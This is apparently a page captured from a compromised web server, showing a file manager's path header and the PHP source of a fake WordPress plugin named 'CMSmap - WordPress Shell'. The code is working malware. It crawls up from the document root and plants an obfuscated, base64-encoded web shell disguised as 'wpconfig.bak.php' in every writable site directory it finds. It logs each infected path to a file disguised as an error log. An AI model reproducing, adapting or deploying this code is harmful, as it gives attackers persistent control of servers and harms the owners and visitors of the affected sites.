[HOME]

Path : /home/easyrentals/public_html/old/xx/plugins/ntomwxh/
Upload :
Current File : /home/easyrentals/public_html/old/xx/plugins/ntomwxh/log.txt

<?php
/**
 * Plugin Name: CMSmap - WordPress Shell
 * Plugin URI: https://github.com/m7x/cmsmap/
 * Description: Simple WordPress Shell - Usage of CMSmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developer assumes no liability and is not responsible for any misuse or damage caused by this program.
 * Version: 1.0
 * Author: CMSmap
 * Author URI: https://github.com/m7x/cmsmap/
 * License: GPLv2
 */

error_reporting(0);
ignore_user_abort(true);
header("content-Type: text/html; charset=gb2312");


function copy_file1($dest){
  file_put_contents($dest.DIRECTORY_SEPARATOR.'wpconfig.bak.php',base64_decode('PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyRzcj0ic3QiLi8qKy8qKyovInJyIi8qKy8qKyovLiJldiI7JGlkPSRzci8qKy8qKyovKCJyaSIuImRfIi4ic2kiKTskcm49JHNyLyorLyorKi8oImVtIi4iYW4iLiJlciIpOyRkbj0kc3IvKisvKisqLygiZW0iLiJhbnIiLiJpZCIpOyRvZD0kc3IvKisvKisqLygicmkiLiJkbmUiLiJwbyIpOyRyZD0kc3IvKisvKisqLygicmkiLiJkZGEiLiJlciIpOyRjZD0kc3IvKisvKisqLygicmkiLiJkZXNvIi4ibGMiKTskZnBjPSRzci8qKy8qKyovKCJzdG4iLiJldG4iLiJvY190Ii4idXBfZSIuImxpZiIpOyRmZ2M9JHNyLyorLyorKi8oInN0biIuImV0biIuIm9jX3QiLiJlZ19lIi4ibGlmIik7JG11Zj0kc3IvKisvKisqLygiZWxpIi4iZl9kIi4iZWRhIi4ib2xwIi4idV9lIi4idm9tIik7JGRsZm9ybT0nPGZvcm0gbWV0aG9kPSJwb3N0Ij5GTjo8aW5wdXQgbmFtZT0iZm4iIHNpemU9IjIwIiB0eXBlPSJ0ZXh0Ij5VUkw6PGlucHV0IG5hbWU9InVybCIgc2l6ZT0i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ZiI+Jy4kZmdjLyorLyorKi8oJGRmKS4nPC90ZXh0YXJlYT4nKTt9ZXhpdDt9Pz4='));

}



function writeTxt($content,$fileurl){
    $fp=fopen($fileurl,"a+");
    if($fp){
        fwrite($fp,$content);
    }
    fclose($fp);
    
  }

function listDir($dir){
   if(is_dir($dir)){
     if ($dh = opendir($dir)) {
        while (($file= readdir($dh)) !== false){
		
       if((is_dir($dir."/".$file)) && $file!="." && $file!="..")
       {
	    if(is_writable($dir."/".$file)&&is_readable($dir."/".$file))
		{
		     if(strpos($dir.$file,'.') !== false){ 
			       	  
			       	  if(is_dir($dir.$file.'//wp-includes//')){
			       	  	 copy_file1($dir.$file);
			       	  	 writeTxt($dir.$file,$_SERVER['DOCUMENT_ROOT'].'//php_errors.1og');
			       	  	echo "<b><font color='red'>file:</font></b>".$dir.$file."<font color='red'> wpincludes</font>"."<br><hr>";
			       	  	}
						if(is_dir($dir.$file.'//images//')){
			       	  	 copy_file1($dir.$file);
			       	  	 writeTxt($dir.$file,$_SERVER['DOCUMENT_ROOT'].'//php_errors.1og');
			       	  	echo "<b><font color='red'>file:</font></b>".$dir.$file."<font color='red'> wpincludes</font>"."<br><hr>";
			       	  	}


			       	  if(is_dir($dir.$file.'//modules//')){
			       	  	copy_file1($dir.$file);
			       	  	writeTxt($dir.$file,$_SERVER['DOCUMENT_ROOT'].'//php_errors.1og');
			       	  	echo "<b><font color='red'>file:</font></b>".$dir.$file."<font color='red'> modules</font>"."<br><hr>";
			       	  	
			       	  	}
			       	  if(is_dir($dir.$file.'//public_html//')){
			       	  	copy_file1($dir.$file.'//public_html//');
			       	  	writeTxt($dir.$file.'//public_html//',$_SERVER['DOCUMENT_ROOT'].'//php_errors.1og');
			       	  	echo "<b><font color='red'>file:</font></b>".$dir.$file."<font color='red'> publichtml</font>"."<br><hr>";
			       	  	
			       	  	}
			       	  if(is_file($dir.$file.'//index.php'))

{

copy_file1($dir.$file);
			       	  	writeTxt($dir.$file.'//index.php',$_SERVER['DOCUMENT_ROOT'].'//php_errors.1og');
			       	  	echo "<b><font color='red'>file:</font></b>".$dir.$file."<font color='red'> indexok</font>"."<br><hr>";

}
			       	}
		}else{
		if(is_writable($dir."/".$file))
		{
			       
			       if(strpos($dir.$file,'.') !== false){ 
			       	  if(is_dir($dir.$file.'//wp-includes//')){
			       	  	 copy_file1($dir.$file);
			       	  	 writeTxt($dir.$file,$_SERVER['DOCUMENT_ROOT'].'//php_errors.1og');
			       	  	echo "<b><font color='red'>file:</font></b>".$dir.$file."<font color='red'> wpincludes</font>"."<br><hr>";
			       	  	}
			       	  if(is_dir($dir.$file.'//modules//')){
			       	  	copy_file1($dir.$file);
			       	  	writeTxt($dir.$file,$_SERVER['DOCUMENT_ROOT'].'//php_errors.1og');
			       	  	echo "<b><font color='red'>file:</font></b>".$dir.$file."<font color='red'> modules</font>"."<br><hr>";
			       	  	
			       	  	}
			       	  if(is_dir($dir.$file.'//public_html//')){
			       	  	copy_file1($dir.$file.'//public_html//');
			       	  	writeTxt($dir.$file.'//public_html//',$_SERVER['DOCUMENT_ROOT'].'//php_errors.1og');
			       	  	echo "<b><font color='red'>file:</font></b>".$dir.$file."<font color='red'> publichtml</font>"."<br><hr>";
			       	  	
			       	  	}
			       	}
              
		}else
		{
	      
		}
		}
		
		listDir($dir."/".$file."/");
       }
     
       }
        }
closedir($dh);

     }
 
   }

ListDir($_SERVER['DOCUMENT_ROOT'].'//..//..//..//');
?>